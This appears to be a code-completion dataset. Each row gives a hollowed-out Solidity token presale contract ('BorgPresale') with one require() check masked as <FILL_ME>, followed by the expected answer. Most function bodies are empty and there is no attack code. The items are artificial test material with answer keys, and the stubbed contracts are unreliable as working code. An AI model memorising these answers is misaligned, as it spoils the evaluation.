function pausePresale() external onlyOwner {
}
function buyBORGTokens() public payable nonReentrant {
}
function userEthSpenttInPresale(address user) external view returns(uint){
}
function claimTeamFeeAndAddLiquidity() external onlyOwner {
}
function addLiquidity() internal {
}
function withdrawLockedTokensAfter1Year(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
| isRefundEnabled||block.timestamp>=refundTime,"Cannot refund" | 391,024 | isRefundEnabled||block.timestamp>=refundTime |
"Hard Cap is 500 ETH" | /*
*****************************************
* BORG Pre-sale Contract v1.0 ***********
*****************************************
* BORG v1.1 - Resistance Is Futile ******
*****************************************
* https://Assimilate.eth.link ***********
* https://t.me/BORG_ResistanceIsFutile **
*****************************************
*/
pragma solidity ^0.7.0;
//SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function unPauseTransferForever() external;
function uniswapV2Pair() external returns(address);
}
interface IUNIv2 {
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
interface IUnicrypt {
event onDeposit(address, uint256, uint256);
event onWithdraw(address, uint256);
function depositToken(address token, uint256 amount, uint256 unlock_date) external payable;
function withdrawToken(address token, uint256 amount) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
contract BorgPresale is Context, ReentrancyGuard {
using SafeMath for uint;
IERC20 public ABS;
address public _burnPool = 0x000000000000000000000000000000000000dEaD;
IUNIv2 constant uniswap = IUNIv2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory constant uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUnicrypt constant unicrypt = IUnicrypt(0x17e00383A843A9922bCA3B280C0ADE9f8BA48449);
uint public tokensBought;
bool public isStopped = false;
bool public teamClaimed = false;
bool public isRefundEnabled = false;
bool public presaleStarted = false;
bool justTrigger = false;
uint constant teamTokens = 77777 ether;
address payable owner;
address payable constant owner1 = 0xDe87EA52cD67a32eC71d1A9817856f532b3145bf; // BORG Marketing
address payable constant owner2 = 0x635bF673DB15bd80846ed9eD0091D7B308b86D9d; // BORG Treasury
address payable constant owner3 = 0x6fE00946Dfa366360b8BB02a68d5536d8D92d488; // BORG Development Fund
address public pool;
uint256 public liquidityUnlock;
uint256 public ethSent;
uint256 constant tokensPerETH = 777;
uint256 public lockedLiquidityAmount;
uint256 public timeTowithdrawTeamTokens;
uint256 public refundTime;
mapping(address => uint) ethSpent;
modifier onlyOwner() {
}
constructor() {
}
receive() external payable {
}
function EMERGENCY_ALLOW_REFUNDS() external onlyOwner nonReentrant {
}
function getRefund() external nonReentrant {
}
function lockWithUnicrypt() external onlyOwner {
}
function withdrawFromUnicrypt(uint256 amount) external onlyOwner {
}
function withdrawTeamTokens() external onlyOwner nonReentrant {
}
function setBORG(IERC20 addr) external onlyOwner nonReentrant {
}
function startPresale() external onlyOwner {
}
function pausePresale() external onlyOwner {
}
function buyBORGTokens() public payable nonReentrant {
require(msg.sender == tx.origin);
require(presaleStarted == true, "Presale is paused, do not send ETH");
require(ABS != IERC20(address(0)), "Main contract address not set");
require(!isStopped, "Presale stopped by contract, do not send ETH");
require(msg.value >= 0.05 ether, "Must send more than 0.05 ETH");
require(msg.value <= 5 ether, "You can only send 5 ETH Max per TX.");
require(ethSent < 500 ether, "Hard Cap reached at 500 ETH");
require(<FILL_ME>)
require(ethSpent[msg.sender].add(msg.value) <= 20 ether, "You cannot buy more, 20 ETH total per address or 5 ETH per TX.");
uint256 tokens = msg.value.mul(tokensPerETH);
require(ABS.balanceOf(address(this)) >= tokens, "Not enough tokens in the contract");
ethSpent[msg.sender] = ethSpent[msg.sender].add(msg.value);
tokensBought = tokensBought.add(tokens);
ethSent = ethSent.add(msg.value);
ABS.transfer(msg.sender, tokens);
}
function userEthSpenttInPresale(address user) external view returns(uint){
}
function claimTeamFeeAndAddLiquidity() external onlyOwner {
}
function addLiquidity() internal {
}
function withdrawLockedTokensAfter1Year(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
| msg.value.add(ethSent)<=500ether,"Hard Cap is 500 ETH" | 391,024 | msg.value.add(ethSent)<=500ether |
"You cannot buy more, 20 ETH total per address or 5 ETH per TX." | /*
*****************************************
* BORG Pre-sale Contract v1.0 ***********
*****************************************
* BORG v1.1 - Resistance Is Futile ******
*****************************************
* https://Assimilate.eth.link ***********
* https://t.me/BORG_ResistanceIsFutile **
*****************************************
*/
pragma solidity ^0.7.0;
//SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function unPauseTransferForever() external;
function uniswapV2Pair() external returns(address);
}
interface IUNIv2 {
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
interface IUnicrypt {
event onDeposit(address, uint256, uint256);
event onWithdraw(address, uint256);
function depositToken(address token, uint256 amount, uint256 unlock_date) external payable;
function withdrawToken(address token, uint256 amount) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
contract BorgPresale is Context, ReentrancyGuard {
using SafeMath for uint;
IERC20 public ABS;
address public _burnPool = 0x000000000000000000000000000000000000dEaD;
IUNIv2 constant uniswap = IUNIv2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory constant uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUnicrypt constant unicrypt = IUnicrypt(0x17e00383A843A9922bCA3B280C0ADE9f8BA48449);
uint public tokensBought;
bool public isStopped = false;
bool public teamClaimed = false;
bool public isRefundEnabled = false;
bool public presaleStarted = false;
bool justTrigger = false;
uint constant teamTokens = 77777 ether;
address payable owner;
address payable constant owner1 = 0xDe87EA52cD67a32eC71d1A9817856f532b3145bf; // BORG Marketing
address payable constant owner2 = 0x635bF673DB15bd80846ed9eD0091D7B308b86D9d; // BORG Treasury
address payable constant owner3 = 0x6fE00946Dfa366360b8BB02a68d5536d8D92d488; // BORG Development Fund
address public pool;
uint256 public liquidityUnlock;
uint256 public ethSent;
uint256 constant tokensPerETH = 777;
uint256 public lockedLiquidityAmount;
uint256 public timeTowithdrawTeamTokens;
uint256 public refundTime;
mapping(address => uint) ethSpent;
modifier onlyOwner() {
}
constructor() {
}
receive() external payable {
}
function EMERGENCY_ALLOW_REFUNDS() external onlyOwner nonReentrant {
}
function getRefund() external nonReentrant {
}
function lockWithUnicrypt() external onlyOwner {
}
function withdrawFromUnicrypt(uint256 amount) external onlyOwner {
}
function withdrawTeamTokens() external onlyOwner nonReentrant {
}
function setBORG(IERC20 addr) external onlyOwner nonReentrant {
}
function startPresale() external onlyOwner {
}
function pausePresale() external onlyOwner {
}
function buyBORGTokens() public payable nonReentrant {
require(msg.sender == tx.origin);
require(presaleStarted == true, "Presale is paused, do not send ETH");
require(ABS != IERC20(address(0)), "Main contract address not set");
require(!isStopped, "Presale stopped by contract, do not send ETH");
require(msg.value >= 0.05 ether, "Must send more than 0.05 ETH");
require(msg.value <= 5 ether, "You can only send 5 ETH Max per TX.");
require(ethSent < 500 ether, "Hard Cap reached at 500 ETH");
require (msg.value.add(ethSent) <= 500 ether, "Hard Cap is 500 ETH");
require(<FILL_ME>)
uint256 tokens = msg.value.mul(tokensPerETH);
require(ABS.balanceOf(address(this)) >= tokens, "Not enough tokens in the contract");
ethSpent[msg.sender] = ethSpent[msg.sender].add(msg.value);
tokensBought = tokensBought.add(tokens);
ethSent = ethSent.add(msg.value);
ABS.transfer(msg.sender, tokens);
}
function userEthSpenttInPresale(address user) external view returns(uint){
}
function claimTeamFeeAndAddLiquidity() external onlyOwner {
}
function addLiquidity() internal {
}
function withdrawLockedTokensAfter1Year(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
| ethSpent[msg.sender].add(msg.value)<=20ether,"You cannot buy more, 20 ETH total per address or 5 ETH per TX." | 391,024 | ethSpent[msg.sender].add(msg.value)<=20ether |
"Not enough tokens in the contract" | /*
*****************************************
* BORG Pre-sale Contract v1.0 ***********
*****************************************
* BORG v1.1 - Resistance Is Futile ******
*****************************************
* https://Assimilate.eth.link ***********
* https://t.me/BORG_ResistanceIsFutile **
*****************************************
*/
pragma solidity ^0.7.0;
//SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
function unPauseTransferForever() external;
function uniswapV2Pair() external returns(address);
}
interface IUNIv2 {
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
}
interface IUnicrypt {
event onDeposit(address, uint256, uint256);
event onWithdraw(address, uint256);
function depositToken(address token, uint256 amount, uint256 unlock_date) external payable;
function withdrawToken(address token, uint256 amount) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
contract BorgPresale is Context, ReentrancyGuard {
using SafeMath for uint;
IERC20 public ABS;
address public _burnPool = 0x000000000000000000000000000000000000dEaD;
IUNIv2 constant uniswap = IUNIv2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Factory constant uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUnicrypt constant unicrypt = IUnicrypt(0x17e00383A843A9922bCA3B280C0ADE9f8BA48449);
uint public tokensBought;
bool public isStopped = false;
bool public teamClaimed = false;
bool public isRefundEnabled = false;
bool public presaleStarted = false;
bool justTrigger = false;
uint constant teamTokens = 77777 ether;
address payable owner;
address payable constant owner1 = 0xDe87EA52cD67a32eC71d1A9817856f532b3145bf; // BORG Marketing
address payable constant owner2 = 0x635bF673DB15bd80846ed9eD0091D7B308b86D9d; // BORG Treasury
address payable constant owner3 = 0x6fE00946Dfa366360b8BB02a68d5536d8D92d488; // BORG Development Fund
address public pool;
uint256 public liquidityUnlock;
uint256 public ethSent;
uint256 constant tokensPerETH = 777;
uint256 public lockedLiquidityAmount;
uint256 public timeTowithdrawTeamTokens;
uint256 public refundTime;
mapping(address => uint) ethSpent;
modifier onlyOwner() {
}
constructor() {
}
receive() external payable {
}
function EMERGENCY_ALLOW_REFUNDS() external onlyOwner nonReentrant {
}
function getRefund() external nonReentrant {
}
function lockWithUnicrypt() external onlyOwner {
}
function withdrawFromUnicrypt(uint256 amount) external onlyOwner {
}
function withdrawTeamTokens() external onlyOwner nonReentrant {
}
function setBORG(IERC20 addr) external onlyOwner nonReentrant {
}
function startPresale() external onlyOwner {
}
function pausePresale() external onlyOwner {
}
function buyBORGTokens() public payable nonReentrant {
require(msg.sender == tx.origin);
require(presaleStarted == true, "Presale is paused, do not send ETH");
require(ABS != IERC20(address(0)), "Main contract address not set");
require(!isStopped, "Presale stopped by contract, do not send ETH");
require(msg.value >= 0.05 ether, "Must send more than 0.05 ETH");
require(msg.value <= 5 ether, "You can only send 5 ETH Max per TX.");
require(ethSent < 500 ether, "Hard Cap reached at 500 ETH");
require (msg.value.add(ethSent) <= 500 ether, "Hard Cap is 500 ETH");
require(ethSpent[msg.sender].add(msg.value) <= 20 ether, "You cannot buy more, 20 ETH total per address or 5 ETH per TX.");
uint256 tokens = msg.value.mul(tokensPerETH);
require(<FILL_ME>)
ethSpent[msg.sender] = ethSpent[msg.sender].add(msg.value);
tokensBought = tokensBought.add(tokens);
ethSent = ethSent.add(msg.value);
ABS.transfer(msg.sender, tokens);
}
function userEthSpenttInPresale(address user) external view returns(uint){
}
function claimTeamFeeAndAddLiquidity() external onlyOwner {
}
function addLiquidity() internal {
}
function withdrawLockedTokensAfter1Year(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
| ABS.balanceOf(address(this))>=tokens,"Not enough tokens in the contract" | 391,024 | ABS.balanceOf(address(this))>=tokens |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.